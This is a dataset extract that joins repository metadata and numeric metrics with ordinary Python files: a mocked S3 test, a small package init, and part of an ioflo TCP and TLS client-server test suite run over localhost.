(ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_3_1_bp': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'2_tut_act_3_1_bp': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'3_tut_act_3_1_bp': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'4_tut_act_3_1_bp': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_3_2_js': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_3_2_js': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'crazy_ned_day_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'crazy_ned_day_walk': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'crazy_ned_day_interact': (ACTION['INPLACE_0'], ACTION['INPLACE_0'], ACTION['INPLACE_0']),'crazy_ned_night_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'crazy_ned_night_interact': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'crazy_ned_night_jump_in_box': (ACTION['INPLACE_0'], ACTION['INPLACE_0'], ACTION['INPLACE_0']),'crazy_ned_night_jump_out_box': (ACTION['INPLACE_0'], ACTION['INPLACE_0'], ACTION['INPLACE_0'])}
2,035.526316
37,917
0.693756
5,428
38,675
4.607406
0.061533
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0.30549
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0.890319
0.808349
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0.042508
38,675
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37,917
2,035.526316
0.650023
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0.475178
0.042171
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false
0
0.111111
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0.944444
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1
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1
1
1
1
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1
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12
f77a6c357c69517e657f239fd13051ba88832336
1,113
py
Python
tests/s3/test_s3_bucket_object_finder.py
BigNerd/justmltools
97133380f2675596fdd9c87d9bc570ccd5fc20b9
[ "MIT" ]
null
null
null
tests/s3/test_s3_bucket_object_finder.py
BigNerd/justmltools
97133380f2675596fdd9c87d9bc570ccd5fc20b9
[ "MIT" ]
3
2021-09-17T06:42:03.000Z
2021-09-17T06:42:04.000Z
tests/s3/test_s3_bucket_object_finder.py
BigNerd/justmltools
97133380f2675596fdd9c87d9bc570ccd5fc20b9
[ "MIT" ]
1
2020-06-24T15:17:59.000Z
2020-06-24T15:17:59.000Z
from unittest import TestCase from unittest.mock import MagicMock, patch class TestS3BucketObjectFinder(TestCase): @patch('boto3.client') @patch('justmltools.s3.aws_credentials.AwsCredentials', autospec=True) def test_get_matching_s3_objects( self, aws_credentials_mock: MagicMock, client_mock: MagicMock, ): from types import GeneratorType from justmltools.s3.s3_bucket_object_finder import S3BucketObjectFinder sut = S3BucketObjectFinder() result = sut.get_matching_s3_objects(bucket="") self.assertIsInstance(result, GeneratorType) @patch('boto3.client') @patch('justmltools.s3.aws_credentials.AwsCredentials', autospec=True) def test_get_matching_s3_keys( self, aws_credentials_mock: MagicMock, client_mock: MagicMock, ): from types import GeneratorType from justmltools.s3.s3_bucket_object_finder import S3BucketObjectFinder sut = S3BucketObjectFinder() result = sut.get_matching_s3_keys(bucket="") self.assertIsInstance(result, GeneratorType)
34.78125
79
0.71788
115
1,113
6.704348
0.295652
0.067445
0.067445
0.054475
0.843061
0.726329
0.726329
0.726329
0.726329
0.726329
0
0.019231
0.20575
1,113
31
80
35.903226
0.852941
0
0
0.740741
0
0
0.102426
0.080863
0
0
0
0
0.074074
1
0.074074
false
0
0.222222
0
0.333333
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
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0
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null
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0
0
0
0
0
0
0
0
0
7
f7807e3b90dfa4fc4807919f3ca823d5ef869ba7
95
py
Python
tardis/plasma/__init__.py
sarafina325/tardis
9e398b34c702d22681699e38512f45d7c7f12454
[ "BSD-3-Clause" ]
1
2016-03-24T13:14:25.000Z
2016-03-24T13:14:25.000Z
tardis/plasma/__init__.py
sarafina325/tardis
9e398b34c702d22681699e38512f45d7c7f12454
[ "BSD-3-Clause" ]
6
2015-03-16T10:31:40.000Z
2019-02-21T17:56:55.000Z
tardis/plasma/__init__.py
sarafina325/tardis
9e398b34c702d22681699e38512f45d7c7f12454
[ "BSD-3-Clause" ]
5
2015-03-17T18:56:20.000Z
2019-02-12T12:53:15.000Z
from tardis.plasma.base import BasePlasma from tardis.plasma.standard_plasmas import LTEPlasma
31.666667
52
0.873684
13
95
6.307692
0.692308
0.243902
0.390244
0
0
0
0
0
0
0
0
0
0.084211
95
2
53
47.5
0.942529
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
f78d43f37fe7ee420c3bec5d1ef3ab0b44923ea7
67,365
py
Python
ioflo/aio/tcp/test/test_tcping.py
BradyHammond/ioflo
177ac656d7c4ff801aebb0d8b401db365a5248ce
[ "ECL-2.0", "Apache-2.0", "MIT" ]
128
2015-01-14T12:26:56.000Z
2021-11-06T07:09:29.000Z
ioflo/aio/tcp/test/test_tcping.py
BradyHammond/ioflo
177ac656d7c4ff801aebb0d8b401db365a5248ce
[ "ECL-2.0", "Apache-2.0", "MIT" ]
17
2015-01-28T18:26:50.000Z
2020-11-19T22:08:06.000Z
ioflo/aio/tcp/test/test_tcping.py
BradyHammond/ioflo
177ac656d7c4ff801aebb0d8b401db365a5248ce
[ "ECL-2.0", "Apache-2.0", "MIT" ]
29
2015-01-27T23:28:31.000Z
2021-05-04T16:37:30.000Z
# -*- coding: utf-8 -*- """ Unittests for tcping module """ import sys import unittest import os import time import tempfile import shutil import socket import errno from ioflo.aid.sixing import * from ioflo.aid.consoling import getConsole from ioflo.aio import wiring from ioflo.aio.tcp import serving, clienting from ioflo.base import storing console = getConsole() def setUpModule(): console.reinit(verbosity=console.Wordage.concise) def tearDownModule(): console.reinit(verbosity=console.Wordage.concise) class BasicTestCase(unittest.TestCase): """ Test Case """ def setUp(self): """ """ tempdirpath = os.path.dirname( os.path.dirname( os.path.dirname( os.path.abspath( sys.modules.get(__name__).__file__)))) self.certdirpath = os.path.join(tempdirpath, 'test', 'tls', 'certs') def tearDown(self): """ """ pass def testTcpClientServer(self): """ Test Classes Client (Outgoer) and Server with Incomers """ console.terse("{0}\n".format(self.testTcpClientServer.__doc__)) console.reinit(verbosity=console.Wordage.profuse) userDirpath = os.path.join('~', '.ioflo', 'test') userDirpath = os.path.abspath(os.path.expanduser(userDirpath)) if not os.path.exists(userDirpath): os.makedirs(userDirpath) tempDirpath = tempfile.mkdtemp(prefix="test", suffix="tcp", dir=userDirpath) logDirpath = os.path.join(tempDirpath, 'log') if not os.path.exists(logDirpath): os.makedirs(logDirpath) wireLog = wiring.WireLog(path=logDirpath) result = wireLog.reopen(prefix='alpha', midfix='6101') store = storing.Store(stamp=0.0) alpha = serving.Server(port = 6101, bufsize=131072, wlog=wireLog, store=store) self.assertIs(alpha.opened, False) self.assertIs(alpha.reopen(), True) self.assertIs(alpha.opened, True) self.assertEqual(alpha.ha, ('0.0.0.0', 6101)) beta = clienting.Client(ha=alpha.eha, bufsize=131072, store=store) self.assertIs(beta.opened, False) self.assertIs(beta.reopen(), True) self.assertIs(beta.opened, True) self.assertIs(beta.accepted, False) self.assertIs(beta.connected, False) self.assertIs(beta.cutoff, False) gamma = clienting.Client(ha=alpha.eha, bufsize=131072, store=store) self.assertIs(gamma.reopen(), True) self.assertIs(gamma.accepted, False) self.assertIs(gamma.connected, False) self.assertIs(gamma.cutoff, False) console.terse("Connecting beta to alpha\n") while True: beta.serviceConnect() alpha.serviceConnects() if beta.connected and beta.ca in alpha.ixes: break time.sleep(0.05) self.assertIs(beta.accepted, True) self.assertIs(beta.connected, True) self.assertIs(beta.cutoff, False) self.assertEqual(beta.ca, beta.cs.getsockname()) self.assertEqual(beta.ha, beta.cs.getpeername()) self.assertEqual(alpha.eha, beta.ha) ixBeta = alpha.ixes[beta.ca] self.assertIsNotNone(ixBeta.ca) self.assertIsNotNone(ixBeta.cs) self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername()) self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname()) self.assertEqual(ixBeta.ca, beta.ca) self.assertEqual(ixBeta.ha, beta.ha) msgOut = b"Beta sends to Alpha" count = beta.send(msgOut) self.assertEqual(count, len(msgOut)) time.sleep(0.05) msgIn = ixBeta.receive() self.assertEqual(msgOut, msgIn) # receive without sending msgIn = ixBeta.receive() self.assertEqual(msgIn, None) # send multiple msgOut1 = b"First Message" count = beta.send(msgOut1) self.assertEqual(count, len(msgOut1)) msgOut2 = b"Second Message" count = beta.send(msgOut2) self.assertEqual(count, len(msgOut2)) time.sleep(0.05) msgIn = ixBeta.receive() self.assertEqual(msgIn, msgOut1 + msgOut2) # send from alpha to beta msgOut = b"Alpha sends to Beta" count = ixBeta.send(msgOut) self.assertEqual(count, len(msgOut)) time.sleep(0.05) msgIn = beta.receive() self.assertEqual(msgOut, msgIn) # receive without sending msgIn = beta.receive() self.assertEqual(msgIn, None) # build message too big to fit in buffer sizes = beta.actualBufSizes() size = sizes[0] msgOut = b"" count = 0 while (len(msgOut) <= size * 4): msgOut += ns2b("{0:0>7d} ".format(count)) count += 1 self.assertTrue(len(msgOut) >= size * 4) msgIn = b'' count = 0 while len(msgIn) < len(msgOut): if count < len(msgOut): count += beta.send(msgOut[count:]) time.sleep(0.05) msgIn += ixBeta.receive() self.assertEqual(count, len(msgOut)) self.assertEqual(msgOut, msgIn) console.terse("Connecting gamma to alpha\n") while True: gamma.serviceConnect() alpha.serviceConnects() if gamma.connected and gamma.ca in alpha.ixes: break time.sleep(0.05) self.assertIs(gamma.accepted, True) self.assertIs(gamma.connected, True) self.assertIs(gamma.cutoff, False) self.assertEqual(gamma.ca, gamma.cs.getsockname()) self.assertEqual(gamma.ha, gamma.cs.getpeername()) self.assertEqual(alpha.eha, gamma.ha) ixGamma = alpha.ixes[gamma.ca] self.assertIsNotNone(ixGamma.ca) self.assertIsNotNone(ixGamma.cs) self.assertEqual(ixGamma.cs.getsockname(), gamma.cs.getpeername()) self.assertEqual(ixGamma.cs.getpeername(), gamma.cs.getsockname()) self.assertEqual(ixGamma.ca, gamma.ca) self.assertEqual(ixGamma.ha, gamma.ha) msgOut = b"Gamma sends to Alpha" count = gamma.send(msgOut) self.assertEqual(count, len(msgOut)) time.sleep(0.05) msgIn = ixGamma.receive() self.assertEqual(msgOut, msgIn) # receive without sending msgIn = ixGamma.receive() self.assertEqual(msgIn, None) # send from alpha to gamma msgOut = b"Alpha sends to Gamma" count = ixGamma.send(msgOut) self.assertEqual(count, len(msgOut)) time.sleep(0.05) msgIn = gamma.receive() self.assertEqual(msgOut, msgIn) # recieve without sending msgIn = gamma.receive() self.assertEqual(msgIn, None) # close beta and then attempt to send beta.close() msgOut = b"Send on closed socket" with self.assertRaises(AttributeError) as cm: count = beta.send(msgOut) # attempt to receive on closed socket with self.assertRaises(AttributeError) as cm: msgIn = beta.receive() # read on alpha after closed beta msgIn = ixBeta.receive() self.assertEqual(msgIn, b'') # send on alpha after close beta msgOut = b"Alpha sends to Beta after close" count = ixBeta.send(msgOut) self.assertEqual(count, len(msgOut)) #apparently works ixBeta.close() del alpha.ixes[ixBeta.ca] # send on gamma then shutdown sends msgOut = b"Gamma sends to Alpha" count = gamma.send(msgOut) self.assertEqual(count, len(msgOut)) gamma.shutdownSend() time.sleep(0.05) msgIn = ixGamma.receive() self.assertEqual(msgOut, msgIn) msgIn = ixGamma.receive() self.assertEqual(msgIn, b'') # gamma shutdown detected # send from alpha to gamma and shutdown msgOut = b"Alpha sends to Gamma" count = ixGamma.send(msgOut) self.assertEqual(count, len(msgOut)) ixGamma.shutdown() # shutdown alpha time.sleep(0.05) msgIn = gamma.receive() self.assertEqual(msgOut, msgIn) msgIn = gamma.receive() if 'linux' in sys.platform: self.assertEqual(msgIn, b'') # alpha shutdown detected self.assertIs(gamma.cutoff, True) else: self.assertEqual(msgIn, None) # alpha shutdown not detected self.assertIs(gamma.cutoff, False) time.sleep(0.05) msgIn = gamma.receive() if 'linux' in sys.platform: self.assertEqual(msgIn, b'') # alpha shutdown detected self.assertIs(gamma.cutoff, True) else: self.assertEqual(msgIn, None) # alpha shutdown not detected self.assertIs(gamma.cutoff, False) ixGamma.shutclose() # close alpha del alpha.ixes[ixGamma.ca] time.sleep(0.05) msgIn = gamma.receive() self.assertEqual(msgIn, b'') # alpha close is detected self.assertIs(gamma.cutoff, True) # reopen beta self.assertIs(beta.reopen(), True) self.assertIs(beta.accepted, False) self.assertIs(beta.connected, False) self.assertIs(beta.cutoff, False) console.terse("Connecting beta to alpha\n") while True: beta.serviceConnect() alpha.serviceConnects() if beta.connected and beta.ca in alpha.ixes: break time.sleep(0.05) self.assertIs(beta.accepted, True) self.assertIs(beta.connected, True) self.assertIs(beta.cutoff, False) self.assertEqual(beta.ca, beta.cs.getsockname()) self.assertEqual(beta.ha, beta.cs.getpeername()) self.assertEqual(alpha.eha, beta.ha) ixBeta = alpha.ixes[beta.ca] self.assertIsNotNone(ixBeta.ca) self.assertIsNotNone(ixBeta.cs) self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername()) self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname()) self.assertEqual(ixBeta.ca, beta.ca) self.assertEqual(ixBeta.ha, beta.ha) msgOut = b"Beta sends to Alpha" count = beta.send(msgOut) self.assertEqual(count, len(msgOut)) time.sleep(0.05) msgIn = ixBeta.receive() self.assertEqual(msgOut, msgIn) # send from alpha to beta msgOut = b"Alpha sends to Beta" count = ixBeta.send(msgOut) self.assertEqual(count, len(msgOut)) time.sleep(0.05) msgIn = beta.receive() self.assertEqual(msgOut, msgIn) # send then shutdown alpha and then attempt to send msgOut1 = b"Alpha sends to Beta" count = ixBeta.send(msgOut) self.assertEqual(count, len(msgOut1)) ixBeta.shutdownSend() msgOut2 = b"Send on shutdown socket" with self.assertRaises(socket.error) as cm: count = ixBeta.send(msgOut) self.assertTrue(cm.exception.errno == errno.EPIPE) time.sleep(0.05) msgIn = beta.receive() self.assertEqual(msgOut1, msgIn) msgIn = beta.receive() self.assertEqual(msgIn, b'') # beta detects shutdown socket self.assertIs(beta.cutoff, True) msgOut = b"Beta sends to Alpha" count = beta.send(msgOut) self.assertEqual(count, len(msgOut)) beta.shutdown() time.sleep(0.05) msgIn = ixBeta.receive() self.assertEqual(msgOut, msgIn) time.sleep(0.05) msgIn = ixBeta.receive() if 'linux' in sys.platform: self.assertEqual(msgIn, b'') # alpha does detect shutdown else: self.assertEqual(msgIn, None) # alpha does not detect shutdown beta.close() time.sleep(0.05) msgIn = ixBeta.receive() self.assertEqual(msgIn, b'') # alpha detects closed socket ixBeta.close() del alpha.ixes[ixBeta.ca] # reopen gamma self.assertIs(gamma.reopen(), True) self.assertIs(gamma.accepted, False) self.assertIs(gamma.connected, False) self.assertIs(gamma.cutoff, False) console.terse("Connecting gamma to alpha\n") while True: gamma.serviceConnect() alpha.serviceConnects() if gamma.connected and gamma.ca in alpha.ixes: break time.sleep(0.05) self.assertIs(gamma.accepted, True) self.assertIs(gamma.connected, True) self.assertIs(gamma.cutoff, False) self.assertEqual(gamma.ca, gamma.cs.getsockname()) self.assertEqual(gamma.ha, gamma.cs.getpeername()) self.assertEqual(alpha.eha, gamma.ha) ixGamma = alpha.ixes[gamma.ca] self.assertIsNotNone(ixGamma.ca) self.assertIsNotNone(ixGamma.cs) self.assertEqual(ixGamma.cs.getsockname(), gamma.cs.getpeername()) self.assertEqual(ixGamma.cs.getpeername(), gamma.cs.getsockname()) self.assertEqual(ixGamma.ca, gamma.ca) self.assertEqual(ixGamma.ha, gamma.ha) msgOut = b"Gamma sends to Alpha" count = gamma.send(msgOut) self.assertEqual(count, len(msgOut)) time.sleep(0.05) msgIn = ixGamma.receive() self.assertEqual(msgOut, msgIn) gamma.close() time.sleep(0.05) msgIn = ixGamma.receive() self.assertEqual(msgIn, b'') # alpha detects close ixGamma.close() del alpha.ixes[ixGamma.ca] # reopen gamma self.assertIs(gamma.reopen(), True) self.assertIs(gamma.accepted, False) self.assertIs(gamma.connected, False) self.assertIs(gamma.cutoff, False) console.terse("Connecting gamma to alpha\n") while True: gamma.serviceConnect() alpha.serviceConnects() if gamma.connected and gamma.ca in alpha.ixes: break time.sleep(0.05) self.assertIs(gamma.accepted, True) self.assertIs(gamma.connected, True) self.assertIs(gamma.cutoff, False) self.assertEqual(gamma.ca, gamma.cs.getsockname()) self.assertEqual(gamma.ha, gamma.cs.getpeername()) self.assertEqual(alpha.eha, gamma.ha) ixGamma = alpha.ixes[gamma.ca] self.assertIsNotNone(ixGamma.ca) self.assertIsNotNone(ixGamma.cs) self.assertEqual(ixGamma.cs.getsockname(), gamma.cs.getpeername()) self.assertEqual(ixGamma.cs.getpeername(), gamma.cs.getsockname()) self.assertEqual(ixGamma.ca, gamma.ca) self.assertEqual(ixGamma.ha, gamma.ha) # send from alpha to gamma msgOut = b"Alpha sends to Gamma" count = ixGamma.send(msgOut) self.assertEqual(count, len(msgOut)) time.sleep(0.05) msgIn = gamma.receive() self.assertEqual(msgOut, msgIn) ixGamma.shutclose() del alpha.ixes[ixGamma.ca] time.sleep(0.05) msgIn = gamma.receive() self.assertEqual(msgIn, b'') # gamma detects close self.assertIs(gamma.cutoff, True) alpha.close() beta.close() gamma.close() self.assertIs(alpha.opened, False) self.assertIs(beta.opened, False) wireLog.close() shutil.rmtree(tempDirpath) console.reinit(verbosity=console.Wordage.concise) def testTcpClientServerServiceCat(self): """ Test Classes ServerSocketTcpNb service methods that use catRxes """ console.terse("{0}\n".format(self.testTcpClientServerServiceCat.__doc__)) console.reinit(verbosity=console.Wordage.profuse) userDirpath = os.path.join('~', '.ioflo', 'test') userDirpath = os.path.abspath(os.path.expanduser(userDirpath)) if not os.path.exists(userDirpath): os.makedirs(userDirpath) tempDirpath = tempfile.mkdtemp(prefix="test", suffix="tcp", dir=userDirpath) logDirpath = os.path.join(tempDirpath, 'log') if not os.path.exists(logDirpath): os.makedirs(logDirpath) wireLogAlpha = wiring.WireLog(path=logDirpath, same=True) result = wireLogAlpha.reopen(prefix='alpha', midfix='6101') wireLogBeta = wiring.WireLog(buffify=True) result = wireLogBeta.reopen() store = storing.Store(stamp=0.0) alpha = serving.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha, store=store) self.assertIs(alpha.reopen(), True) self.assertEqual(alpha.ha, ('0.0.0.0', 6101)) beta = clienting.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta, store=store) self.assertIs(beta.reopen(), True) self.assertIs(beta.accepted, False) self.assertIs(beta.connected, False) self.assertIs(beta.cutoff, False) console.terse("Connecting beta to alpha\n") while True: beta.serviceConnect() alpha.serviceConnects() if beta.connected and beta.ca in alpha.ixes: break time.sleep(0.05) self.assertIs(beta.accepted, True) self.assertIs(beta.connected, True) self.assertIs(beta.cutoff, False) self.assertEqual(beta.ca, beta.cs.getsockname()) self.assertEqual(beta.ha, beta.cs.getpeername()) self.assertEqual(alpha.eha, beta.ha) ixBeta = alpha.ixes[beta.ca] self.assertIsNotNone(ixBeta.ca) self.assertIsNotNone(ixBeta.cs) self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername()) self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname()) self.assertEqual(ixBeta.ca, beta.ca) self.assertEqual(ixBeta.ha, beta.ha) msgOut = b"Beta sends to Alpha" beta.tx(msgOut) msgIn = b'' while not msgIn and beta.txes: beta.serviceTxes() alpha.serviceReceivesAllIx() msgIn += ixBeta.catRxbs() time.sleep(0.05) self.assertEqual(msgOut, msgIn) # send multiple msgOut1 = b"First Message" beta.tx(msgOut1) msgOut2 = b"Second Message" beta.tx(msgOut2) msgIn = b'' while len(msgIn) < len(msgOut1 + msgOut2): beta.serviceTxes() alpha.serviceReceivesAllIx() msgIn += ixBeta.catRxbs() time.sleep(0.05) self.assertEqual(msgIn, msgOut1 + msgOut2) # build message too big to fit in buffer sizes = beta.actualBufSizes() size = sizes[0] msgOutBig = b"" count = 0 while (len(msgOutBig) <= size * 4): msgOutBig += ns2b("{0:0>7d} ".format(count)) count += 1 self.assertTrue(len(msgOutBig) >= size * 4) beta.tx(msgOutBig) msgIn = b'' count = 0 while len(msgIn) < len(msgOutBig): beta.serviceTxes() time.sleep(0.05) alpha.serviceReceivesAllIx() msgIn += ixBeta.catRxbs() time.sleep(0.05) self.assertEqual(msgIn, msgOutBig) # send from alpha to beta msgOut = b"Alpha sends to Beta" ixBeta.tx(msgOut) msgIn = b'' while len(msgIn) < len(msgOut): alpha.serviceTxesAllIx() beta.serviceReceives() msgIn += beta.catRxbs() time.sleep(0.05) self.assertEqual(msgIn, msgOut) # send big from alpha to beta ixBeta.tx(msgOutBig) msgIn = b'' while len(msgIn) < len(msgOutBig): alpha.serviceTxesAllIx() time.sleep(0.05) beta.serviceReceives() msgIn += beta.catRxbs() time.sleep(0.05) self.assertEqual(msgIn, msgOutBig) alpha.close() beta.close() wlBetaRx = wireLogBeta.getRx() self.assertTrue(wlBetaRx.startswith(b"RX ('127.0.0.1', 6101)\nAlpha sends to Beta\n")) wlBetaTx = wireLogBeta.getTx() self.assertTrue(wlBetaTx.startswith(b"TX ('127.0.0.1', 6101)\nBeta sends to Alpha\n")) wireLogAlpha.close() wireLogBeta.close() shutil.rmtree(tempDirpath) console.reinit(verbosity=console.Wordage.concise) def testTcpClientServerService(self): """ Test Classes ServerSocketTcpNb service methods """ console.terse("{0}\n".format(self.testTcpClientServerService.__doc__)) console.reinit(verbosity=console.Wordage.profuse) userDirpath = os.path.join('~', '.ioflo', 'test') userDirpath = os.path.abspath(os.path.expanduser(userDirpath)) if not os.path.exists(userDirpath): os.makedirs(userDirpath) tempDirpath = tempfile.mkdtemp(prefix="test", suffix="tcp", dir=userDirpath) logDirpath = os.path.join(tempDirpath, 'log') if not os.path.exists(logDirpath): os.makedirs(logDirpath) wireLogAlpha = wiring.WireLog(path=logDirpath, same=True) result = wireLogAlpha.reopen(prefix='alpha', midfix='6101') wireLogBeta = wiring.WireLog(buffify=True, same=True) result = wireLogBeta.reopen() alpha = serving.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha) self.assertIs(alpha.reopen(), True) self.assertEqual(alpha.ha, ('0.0.0.0', 6101)) self.assertEqual(alpha.eha, ('127.0.0.1', 6101)) beta = clienting.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta) self.assertIs(beta.reopen(), True) self.assertIs(beta.accepted, False) self.assertIs(beta.connected, False) self.assertIs(beta.cutoff, False) console.terse("Connecting beta to alpha\n") while True: beta.serviceConnect() alpha.serviceConnects() if beta.connected and beta.ca in alpha.ixes: break time.sleep(0.05) self.assertIs(beta.accepted, True) self.assertIs(beta.connected, True) self.assertIs(beta.cutoff, False) self.assertEqual(beta.ca, beta.cs.getsockname()) self.assertEqual(beta.ha, beta.cs.getpeername()) self.assertEqual(alpha.eha, beta.ha) ixBeta = alpha.ixes[beta.ca] self.assertIsNotNone(ixBeta.ca) self.assertIsNotNone(ixBeta.cs) self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername()) self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname()) self.assertEqual(ixBeta.ca, beta.ca) self.assertEqual(ixBeta.ha, beta.ha) msgOut = b"Beta sends to Alpha" beta.tx(msgOut) while not ixBeta.rxbs and beta.txes: beta.serviceTxes() alpha.serviceReceivesAllIx() time.sleep(0.05) msgIn = bytes(ixBeta.rxbs) self.assertEqual(msgIn, msgOut) index = len(ixBeta.rxbs) # send multiple msgOut1 = b"First Message" beta.tx(msgOut1) msgOut2 = b"Second Message" beta.tx(msgOut2) while len(ixBeta.rxbs) < len(msgOut1 + msgOut2): beta.serviceTxes() alpha.serviceReceivesAllIx() time.sleep(0.05) msgIn, index = ixBeta.tailRxbs(index) self.assertEqual(msgIn, msgOut1 + msgOut2) ixBeta.clearRxbs() # build message too big to fit in buffer sizes = beta.actualBufSizes() size = sizes[0] msgOutBig = b"" count = 0 while (len(msgOutBig) <= size * 4): msgOutBig += ns2b("{0:0>7d} ".format(count)) count += 1 self.assertTrue(len(msgOutBig) >= size * 4) beta.tx(msgOutBig) count = 0 while len(ixBeta.rxbs) < len(msgOutBig): beta.serviceTxes() time.sleep(0.05) alpha.serviceReceivesAllIx() time.sleep(0.05) msgIn = bytes(ixBeta.rxbs) ixBeta.clearRxbs() self.assertEqual(msgIn, msgOutBig) # send from alpha to beta msgOut = b"Alpha sends to Beta" ixBeta.tx(msgOut) while len(beta.rxbs) < len(msgOut): alpha.serviceTxesAllIx() beta.serviceReceives() time.sleep(0.05) msgIn = bytes(beta.rxbs) beta.clearRxbs() self.assertEqual(msgIn, msgOut) # send big from alpha to beta ixBeta.tx(msgOutBig) while len(beta.rxbs) < len(msgOutBig): alpha.serviceTxesAllIx() time.sleep(0.05) beta.serviceReceives() time.sleep(0.05) msgIn = bytes(beta.rxbs) beta.clearRxbs() self.assertEqual(msgIn, msgOutBig) alpha.close() beta.close() wlBetaRx = wireLogBeta.getRx() wlBetaTx = wireLogBeta.getTx() self.assertEqual(wlBetaRx, wlBetaTx) # since wlog is same wireLogAlpha.close() wireLogBeta.close() shutil.rmtree(tempDirpath) console.reinit(verbosity=console.Wordage.concise) def testClientAutoReconnect(self): """ Test Classes Client/Outgoer reconnectable """ console.terse("{0}\n".format(self.testClientAutoReconnect.__doc__)) console.reinit(verbosity=console.Wordage.profuse) wireLogAlpha = wiring.WireLog(buffify=True, same=True) result = wireLogAlpha.reopen() wireLogBeta = wiring.WireLog(buffify=True, same=True) result = wireLogBeta.reopen() store = storing.Store(stamp=0.0) beta = clienting.Client(ha=('127.0.0.1', 6101), bufsize=131072, wlog=wireLogBeta, store=store, timeout=0.2, reconnectable=True, ) self.assertIs(beta.reopen(), True) self.assertIs(beta.accepted, False) self.assertIs(beta.connected, False) self.assertIs(beta.cutoff, False) self.assertIs(beta.store, store) self.assertIs(beta.reconnectable, True) console.terse("Connecting beta to alpha when alpha not up\n") while beta.store.stamp <= 0.25: beta.serviceConnect() if beta.connected and beta.ca in alpha.ixes: break beta.store.advanceStamp(0.05) time.sleep(0.05) self.assertIs(beta.accepted, False) self.assertIs(beta.connected, False) alpha = serving.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha, store=store) self.assertIs(alpha.reopen(), True) self.assertEqual(alpha.ha, ('0.0.0.0', 6101)) self.assertEqual(alpha.eha, ('127.0.0.1', 6101)) console.terse("Connecting beta to alpha when alpha up\n") while True: beta.serviceConnect() alpha.serviceConnects() if beta.connected and beta.ca in alpha.ixes: break beta.store.advanceStamp(0.05) time.sleep(0.05) self.assertIs(beta.accepted, True) self.assertIs(beta.connected, True) self.assertIs(beta.cutoff, False) self.assertEqual(beta.ca, beta.cs.getsockname()) self.assertEqual(beta.ha, beta.cs.getpeername()) self.assertEqual(alpha.eha, beta.ha) ixBeta = alpha.ixes[beta.ca] self.assertIsNotNone(ixBeta.ca) self.assertIsNotNone(ixBeta.cs) self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername()) self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname()) self.assertEqual(ixBeta.ca, beta.ca) self.assertEqual(ixBeta.ha, beta.ha) msgOut = b"Beta sends to Alpha" beta.tx(msgOut) while not ixBeta.rxbs and beta.txes: beta.serviceTxes() alpha.serviceReceivesAllIx() time.sleep(0.05) msgIn = bytes(ixBeta.rxbs) self.assertEqual(msgIn, msgOut) index = len(ixBeta.rxbs) alpha.close() beta.close() wlBetaRx = wireLogBeta.getRx() wlBetaTx = wireLogBeta.getTx() self.assertEqual(wlBetaRx, wlBetaTx) # since wlog is same wireLogAlpha.close() wireLogBeta.close() console.reinit(verbosity=console.Wordage.concise) def testTLSConnectionDefault(self): """ Test TLS connection with default settings """ try: import ssl except ImportError: return console.terse("{0}\n".format(self.testTLSConnectionDefault.__doc__)) console.reinit(verbosity=console.Wordage.profuse) wireLogAlpha = wiring.WireLog(buffify=True, same=True) result = wireLogAlpha.reopen() wireLogBeta = wiring.WireLog(buffify=True, same=True) result = wireLogBeta.reopen() #serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key #serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert #clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert #clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key #clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert #serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert serverKeypath = self.certdirpath + '/server_key.pem' # local server private key serverCertpath = self.certdirpath + '/server_cert.pem' # local server public cert clientCafilepath = self.certdirpath + '/client.pem' # remote client public cert clientKeypath = self.certdirpath + '/client_key.pem' # local client private key clientCertpath = self.certdirpath + '/client_cert.pem' # local client public cert serverCafilepath = self.certdirpath + '/server.pem' # remote server public cert alpha = serving.ServerTls(host='localhost', port = 6101, bufsize=131072, wlog=wireLogAlpha, context=None, version=None, certify=None, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath, ) self.assertIs(alpha.reopen(), True) self.assertEqual(alpha.ha, ('127.0.0.1', 6101)) serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname beta = clienting.ClientTls(ha=alpha.ha, bufsize=131072, wlog=wireLogBeta, context=None, version=None, certify=None, hostify=None, certedhost=serverCertCommonName, keypath=clientKeypath, certpath=clientCertpath, cafilepath=serverCafilepath, ) self.assertIs(beta.reopen(), True) self.assertIs(beta.accepted, False) self.assertIs(beta.connected, False) self.assertIs(beta.cutoff, False) console.terse("Connecting and Handshaking 